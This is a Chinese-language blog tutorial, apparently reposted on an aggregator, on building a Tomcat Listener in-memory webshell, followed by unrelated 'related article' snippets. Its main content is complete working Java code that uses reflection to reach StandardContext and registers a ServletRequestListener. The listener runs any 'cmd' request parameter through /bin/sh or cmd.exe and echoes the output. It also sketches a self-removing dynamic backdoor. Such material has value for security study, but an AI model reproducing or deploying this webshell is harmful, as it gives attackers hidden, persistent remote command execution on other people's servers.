Java Tomcat内存马——Listener内存马

news/2024/5/20 5:35:34/文章来源:https://blog.csdn.net/m0_61506558/article/details/128131186

目录

(一)前置知识

0x01 什么是Listener

0x02 Listener的简单案例

0x03 Listener流程分析

 (二)注入分析

(三)实现内存马

得到完整的内存马

(四)漏洞复现

其他的payload:

总结


(一)前置知识


0x01 什么是Listener


监听器 Listener 是一个实现特定接口的 Java 程序,这个程序专门用于监听另一个 Java 对象的方法调用或属性改变,当被监听对象发生上述事件后,监听器某个方法将立即自动执行。

监听器的相关概念:

  • 事件:方法调用、属性改变、状态改变等。
  • 事件源:被监听的对象( 例如:request、session、servletContext)。
  • 监听器:用于监听事件源对象 ,事件源对象状态的变化都会触发监听器。
  • 注册监听器:将监听器与事件源进行绑定

监听器 Listener 按照监听的事件划分,可以分为 3 类:

  • 监听对象创建和销毁的监听器
  • 监听对象中属性变更的监听器
  • 监听 HttpSession 中的对象状态改变的监听器

0x02 Listener的简单案例


在Tomcat中创建Listener有两种方式:

使用web.xml中的listener标签创建
使用@WebListener注册监听器

我们创建一个实现了javax.servlet.ServletRequestListener接口的类,如图 1-1:

图 1-1 新建的ServletListener.java

package pres.test.momenshell;import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;public class ListenerTest implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {System.out.println("destroy Listener!");}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {System.out.println("initial Listener!");}
}

将会在请求开始和请求结束分别执行requestInitialized或者requestDestroyed方法中的逻辑,之后再web.xml中配置Listener。

<listener><listener-class>pres.test.momenshell.ListenerTest</listener-class>
</listener>

之后开启tomcat容器,如图 1-2

图 1-2 配置Listener后启动Tomcat容器

0x03 Listener流程分析


  • 首先给出程序到  requestInitialized  方法之前的调用栈
requestInitialized:14, ListenerTest (pres.test.momenshell)
fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
  • 将会到达 StandardHostValve#invoke 方法,如图 1-3 :
图 1-3 StandardValue自动调用invoke方法

  • 调用了StandardContext # fireRequestInitEvent方法进行请求初始化
图 1-4 实例化Listener,并调用requestInitialized方法

在其中,程序通过扫描web.xml中得到了对应的实例化对象,因为我们在web.xml中做出了对应的配置,所以我们能够通过if (instance != null && instance instanceof ServletRequestListener)的判断,进而调用了listener的 requestInitialized 方法。

  • 即为我们的 ListenerTest#requestInitialized 方法,如图 1-5:
图 1-5  实例化的对象调用requestInitialized方法

 (二)注入分析


  • 和之前找CC链思路一致,先从ServletContext,找到可以利用点,即addListener有三种重载方式,如图 2-1 :
图 2-1 ServletContext中的addListener方法

  • 我们先看官网是如何进行解释的,如图 2-2:
     
图 2-2 官网对addListener方法进行解释

  • 跟进api中的注解,能够实现的的监听器有:
    ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)ServletRequestListener:对 Request 请求进行监听(创建、销毁)ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

  • 每一种 接口有着不同的方法存在,就比如 ServletRequestListener 这个监听器,如 2-3:

图 2-3 接口ServletRequestListener包含的实现方法

可以观察到 ServletRequestListener 存在有 requestDestroyed requestInitialized 方法进行请求前和请求后的监听,又或者是 ServletRequestAttributeListener 这个监听器,如图 2-4:

图 2-4 ServetRequestAttributeListener中包含的方法

存在有 attributeAddedattributeRemovedattributeReplaced 分别对属性增 / 属性删 / 属性替换做出了监听。

但是这些监听器都是继承同一个接口 EventListener ,我们可以跟进一下 addListener 在Tomcat中的实现在 org.apache.catalina.core.ApplicationContext#addListener 中,如图 2-5:

图 2-5 addListener方法的具体实现

如果这里传入的是一个ClassName,将会将其进行实例化之后判断是否实现了EventListener 接口,也就是是否在监听类中实现了特性的监听器。

  • 如果实现了这个标志接口,将会将其强转为 EventListener 并传入 addListener的重载方法,如图 2-6:
图 2-6 addListener的重载机制

 同样和前面类似,不能在程序运行过程中进行Listener的添加,并且如果的监听器是

  • ServletContextAttributeListener  
  • ServletRequestListener
  • ServletRequestAttributeListener 
  • HttpSessionIdListener
  • HttpSessionAttributeListener

的时候将会通过调用  StardardContext#addApplicationEventListener 添加监听器,又如果是HttpSessionListener ServletContextListener 将会调用 addApplicationLifecycleListener方法进行监听器的添加,通过上面的分析我们不难得到Listener内存马中关于 ServletRequestListener 这个监听器的实现步骤:

  1. 首先获取到 StardardContext 对象
  2. 之后创建一个实现了 ServletRequestListener 接口的监听器类
  3. 再然后通过调用 StardardContext 类的 addApplicationEventListener 方法进行Listener的添加

(三)实现内存马


  • 首先通过循环的方式获取StandardContext对象。
ServletContext servletContext = req.getServletContext();
StandardContext o = null;
while (o == null) { //循环从servletContext中取出StandardContextField field = servletContext.getClass().getDeclaredField("context");field.setAccessible(true);Object o1 = field.get(servletContext);if (o1 instanceof ServletContext) {servletContext = (ServletContext) o1;} else if (o1 instanceof StandardContext) {o = (StandardContext) o1;}
}
  • 之后创建一个监听器类, 我这里同样是一段任意代码执行的构造,通过reponse写进行回显操作
class Mylistener implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {ServletRequest request = servletRequestEvent.getServletRequest();if (request.getParameter("cmd") != null) {try {String cmd = request.getParameter("cmd");boolean isLinux = true;String osType = System.getProperty("os.name");if (osType != null && osType.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(inputStream).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";Field request1 = request.getClass().getDeclaredField("request");request1.setAccessible(true);Request request2 = (Request) request1.get(request);request2.getResponse().getWriter().write(output);} catch (IOException e) {e.printStackTrace();} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}}}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {}
}

  • 最后当然就是将Listener添加
Mylistener mylistener = new Mylistener();
//添加listener
o.addApplicationEventListener(mylistener);

得到完整的内存马

package pres.test.momenshell;import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;public class AddTomcatListener extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {try {ServletContext servletContext = req.getServletContext();StandardContext o = null;while (o == null) { //循环从servletContext中取出StandardContextField field = servletContext.getClass().getDeclaredField("context");field.setAccessible(true);Object o1 = field.get(servletContext);if (o1 instanceof ServletContext) {servletContext = (ServletContext) o1;} else if (o1 instanceof StandardContext) {o = (StandardContext) o1;}}Mylistener mylistener = new Mylistener();//添加listenero.addApplicationEventListener(mylistener);} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}}
}
class Mylistener implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {ServletRequest request = servletRequestEvent.getServletRequest();if (request.getParameter("cmd") != null) {try {String cmd = request.getParameter("cmd");boolean isLinux = true;String osType = System.getProperty("os.name");if (osType != null && osType.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(inputStream).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";Field request1 = request.getClass().getDeclaredField("request");request1.setAccessible(true);Request request2 = (Request) request1.get(request);request2.getResponse().getWriter().write(output);} catch (IOException e) {e.printStackTrace();} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}}}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {}
}

(四)漏洞复现


  • 先编写测试类IndexServlet
public class IndexServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String message = "Tomcat project!";String id = req.getParameter("id");StringBuilder sb = new StringBuilder();sb.append(message);if (id != null && id != null) {sb.append("\nid: ").append(id); //拼接id}resp.getWriter().println(sb);}
}
  • 将会对传入参数id进行回显,之后配置 addTomcatListener 路由的Servlet进行内存马的注入,如图 4-1。
图 4-1 最开始进行访问id进行显示
  •  访问 addTomcatListener 路由进行内存马的注入,如图 4-2:
图 4-2 访问addTomcatListener内存马注入

  • 再次访问/index并传入cmd参数,如图 4-3:
图 4-3 cmd命令成功回显

发现不仅仅回显了我传入的id参数,同样进行了命令的执行。

其他的payload:


在api中支持的监听器中,还有很多其他的监听器可以进行内存马的实现,这里仅仅是对其中一个比较方法的监听器进行了说明。

比如说 ServletRequestAttributeListener 这个监听器,在分析注入那里也有所提及,我们通要可以将我们的恶意代码插入在如图 4-4 中:

图 4-4 ServletRequestAttributeListener注入方法

这些方法中进行对应的操作进行内存马的触发。

根据su18提供的一种攻击思路:

由于在 ServletRequestListener 中可以获取到 ServletRequestEvent,这其中又存了很多东西,ServletContext/StandardContext 都可以获取到,那玩法就变得更多了。可以根据不同思路实现很多非常神奇的功能,我举个例子:

  • requestInitialized 中监听,如果访问到了某个特定的 URL,或这次请求中包含某些特征(可以拿到 request 对象,随便怎么定义),则新起一个线程去 StandardContext 中注册一个 Filter,可以实现某些恶意功能。

  • requestDestroyed 中再起一个新线程 sleep 一定时间后将我们添加的 Filter 卸载掉。

        这样我们就有了一个真正的动态后门,只有用的时候才回去注册它,用完就删

总结


我们在这里总结一下这三种的执行顺序和特性,他们的执行顺序分别是 Listener > Filter > Servlet

  • Servlet :在用户请求路径与处理类映射之处,添加一个指定路径的指定处理类;
  • Filter:在用户处理类之前的,用来对请求进行额外处理提供额外功能的类;
  • Listener:在 Filter 之外的监听进程。

总的来说Listener内存马比前两篇的危害更大,更具有隐藏性,且能够有更多的构造方式。最后,贴一下我总结的内存马编写流程

  1. 首先获取到StardardContext对象

  2. 之后创建一个实现了ServletRequestListener 接口的监听器类

  3. 再然后通过调用StardardContext类的addApplicationEventListener方法进行Listener的添加

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_228879.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java+JSP+MySQL基于SSM的雷锋车队管理系统的设计与实现-计算机毕业设计

项目介绍 随着我国国民经济的发展和人文素质的不断提高&#xff0c;越来越多的爱心人士出现在了社会的各种角落之中&#xff0c;其中的哥和爱心人士&#xff0c;组织了一种基于交通和车辆之间的互助的民间组织&#xff0c;这种组织叫做雷锋爱心车队&#xff0c;而且雷锋爱心车…

什么牌子蓝牙耳机通话质量好?通话质量好的蓝牙耳机推荐

蓝牙耳机作为手机的最佳伴侣&#xff0c;已经成为老百姓日常生活必备。每次有大品牌发布新款蓝牙耳机&#xff0c;几乎都能够得到很好的反响&#xff0c;蓝牙耳机不仅在音质上有了很大的提升&#xff0c;并且在其他功能也在不断的提升&#xff0c;使用蓝牙耳机通话避免不了电话…

商务部研究院信用所、启信宝联合发布《中国商务信用发展指数报告(2022)》

近期&#xff0c;商务部国际贸易经济合作研究院信用研究所与合合信息全资子公司上海生腾数据科技有限公司&#xff08;简称“生腾数据”&#xff09;联合发布了《中国商务信用发展指数报告&#xff08;2022&#xff09;》&#xff08;简称《报告》&#xff09;。为准确反映中国…

glxy_阿里云存储

阿里云OSS储存 讲师的添加实现&#xff1a;oss服务 访问并登陆阿里云&#xff0c;&#xff0c;实名认证 产品分类---->对象储存OSS 开通OSS 进入管理控制台 使用OSS前先创建bucket java 代码实现 准备工作&#xff1a;创建操作阿里云oss许可证&#xff08;阿里云颁发…

得一微冲刺科创板上市:拟募资约12亿元,2021年营收同比增长260%

撰稿|汤汤 来源|贝多财经 近日&#xff0c;得一微电子股份有限公司&#xff08;下称“得一微”&#xff09;在上海证券交易所科创板递交招股书&#xff08;申报稿&#xff09;。本次冲刺科创板上市&#xff0c;得一微拟公开发行不超过2354万股股份&#xff0c;计划募资12.24亿…

zookeeper学习(一)zk特性与节点数据类型详解(2022)

Zookeeper是一个开源的分布式协调框架&#xff0c;主要用来解决分布式集群中应用系统的一致性问题。从设计模式角度来理解其实zk是一个基于观察者模式设计的分布式服务管理框架。 CAP理论&#xff1a; cap理论指出对于一个分布式计算系统来说&#xff0c;不可能同时满足以下三…

golang知识点整理

目录 1、goroutine GMP模型 2、goroutine阻塞的处理 3、goroutine内存泄漏 4、map原理、扩容 5、go内存管理 6、go的gc 1、goroutine GMP模型 1. G代表一个goroutine对象&#xff0c;每次go调用的时候&#xff0c;都会创建一个G对象 2. M代表一个线程&#xff0c;每次创建…

SpringCloud:Gateway之限流、熔断

目录 一、服务雪崩简介及压测实践演示 ​编辑 二、sentinel简单模式之流控QPS案例 什么是Sentinel ​ 安装Sentinel控制台 三、sentinel流控简单模式之并发线程数案例 四、sentinel流控之关联模式&链路模式 关联模式 链路模式 五、sentinel降级之平均响应时间&…

最新 | VDA-ISA5.0.4最新版本发布,汽车企业如何增强信息安全?

汽车行业拥有广泛而复杂的供应链&#xff0c;包括汽车整车制造商、不同层级的零部件厂商、供应商、服务商等众多企业。在这个链条上&#xff0c;其中任何一家企业的网络安全问题不论是数据泄密还是内外部攻击都有可能对整个供应链造成巨大影响。 比如2021年6月&#xff0c;某德…

能力提高篇--协调能力【对接】

作为一名安防技术支持工程师&#xff0c;正常情况下我们的日常主要为解决问题&#xff0c;然而对于重大项目或者复杂项目&#xff0c;更多的情况下我们的职责为收集客户需求&#xff0c;拉通研发侧评估&#xff0c;确认需求&#xff0c;确认程序交付时间&#xff0c;测试和最终…

【python与数据分析】实验十三 北京市空气质量

目录 一、实验内容 二、完成情况 三、数据分析 1.问题描述 2.编程思路 3.程序代码 4.程序运行结果 &#xff08;1&#xff09;2014年-2019年AQI时间序列折线图 &#xff08;2&#xff09;各年AQI折线图、AQI直方图、PM2.5与AQI散点图、空气质量整体情况的饼图 ​&am…

10-18-hive-元数据及其他方式与hive交互

10-hive-元数据及其他方式访问hive&#xff1a; 使用元数据服务的方式访问 Hive (类似将hive提供了一个服务端) 1&#xff09;在hive-site.xml 文件中添加如下配置信息 <!-- 指定存储元数据要连接的地址 --> <property> <name>hive.metastore.uris</nam…

[附源码]计算机毕业设计SpringBoot网上鲜花购物系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

Day16-购物车页面-商品列表修改购物车商品的勾选状态

提纲挈领&#xff1a; 我的操作&#xff1a; 1》当用户点击 radio 组件&#xff0c;希望修改当前商品的勾选状态&#xff0c;此时用户可以为 my-goods 组件绑定 radio-change 事件&#xff0c;从而获取当前商品的 goods_id 和 goods_state&#xff1a; 定义 radioChangeHandle…

leetcode-每日一题-1779-找到最近的有相同 X 或 Y 坐标的点(简单,数学思想)

今天这道每日一题很简单&#xff0c;没啥可说的&#xff0c;细心点即可 1779. 找到最近的有相同 X 或 Y 坐标的点 难度简单73收藏分享切换为英文接收动态反馈 给你两个整数 x 和 y &#xff0c;表示你在一个笛卡尔坐标系下的 (x, y) 处。同时&#xff0c;在同一个坐标系下给你一…

GEE开发之Modis_GPP数据分析和获取

GEE开发之Modis_GPP数据分析和获取1.GPP2.MOD系列和MYD系列区别3.MOD17A2H(500m/8天)4.MYD17A2H(500m/8天)4.1 MYD17A2H下的指数4.2 遥感影像查看5.GPP日数据下载(以MYD17A2H为例)6.GPP月数据下载(以MYD17A2H为例)7.GPP年数据下载(以MYD17A2H为例)前言&#xff1a;主要介绍利用…

flask入门教程之数据库保存

计算机操作数据时&#xff0c;一般是在内存中对数据进行处理&#xff0c;但是计算机的内存空间有限&#xff0c;服务器操作大量数据时&#xff0c;容易造成内存不足&#xff0c;且一旦计算机关机&#xff0c;则内存数据就丢失。所以我们需要将数据进行存储。 持久化&#xff0…

Java 基础数据类型占用内存空间和字符串编码简介(二)

Java 基础数据类型占用内存空间简介一 计算机简介1.基本概念2.CPU 三级缓存3.本机参数查看二 数据占用内存情况1.多线程Demo2.结果解析1.直接计算2.volatile 计算3.缓存行填充一 计算机简介 结合多线程计算机的硬件&#xff0c;从侧面理解数据存储如何影响我们的程序 1.基本概…

门面/外观模式

一、门面模式 1、定义 门面模式&#xff08;Facade Pattern&#xff09;又称作外观模式&#xff0c;是指提供一个统一的接口&#xff0c;用来访问子系统中的一群接口&#xff0c;属于结构型设计模式。 门面模式的主要特征是定义了一个高层接口&#xff0c;让子系统更容易使用。…

自然语言处理NLP——ERNIE-M:基于回译机制的“预训练-微调”多语言模型

目录 系列文章目录 一、背景介绍 1.多语言任务 1.1 多语言任务定义 1.2 多语言任务难题 2.多语言模型 2.1 多语言模型定义与原理 2.2 多语言模型困难 3.论文简介 3.1 背景与开发动机 3.2 论文梗概 3.3 论文贡献与成就 二、相关工作 1.预训练方法 1.1 预训练方法…